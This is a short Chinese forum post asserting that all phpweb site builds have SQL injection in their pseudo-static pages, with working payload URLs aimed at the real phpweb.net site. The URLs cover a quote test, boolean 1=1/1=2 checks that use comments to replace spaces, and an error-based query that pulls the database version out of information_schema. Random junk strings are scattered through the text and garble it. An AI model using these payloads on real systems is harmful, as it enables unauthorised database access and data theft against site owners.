phpweb所有的整站程序伪静态页面都存在sql注入2 E4 a/ U" l5 J' t
9 u; m! @7 V0 Z* Q$ `主站：http://phpweb.net/( u9 }7 |% M+ k4 M. |
加’检测：
6 F& h& h" o, B
' m2 `# f6 r8 G9 Ohttp://www.phpweb.net/down/html/?772′.html
8 m1 | w! A/ T. _" m2 F 3 D9 ^1 |1 x4 s* [5 }6 n
出错/ x- `' v, N3 `, c( n& ^
存在注入。
1 T) `% g& t9 M: e4 k# E, Y8 \& h不能用空格，只能用/*罗3 g9 q$ q1 ^1 D; } f3 N6 H5 V1 e
http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
4 B* L+ l. [& V d' Z+ F% f
e6 N. M! q7 {http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
9 H( z( i) V- z K, t _3 x爆数据库版本：
. X5 r. j5 ?4 S0 c9 @! z
# A# } E" U/ j: R8 w?0 L# b: F2 E7 B, J3 Y P* }. W
1
/ D# _# U; t1 K+ chttp://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html1 Y8 c s1 C$ ?+ S9 q: ~" x
更新日期: 2013-01-03 13:39:50
9 H( U0 y z0 _( l, K; N0 Y |
发表于 2013-1-4 19:46:42
收藏
支持
反对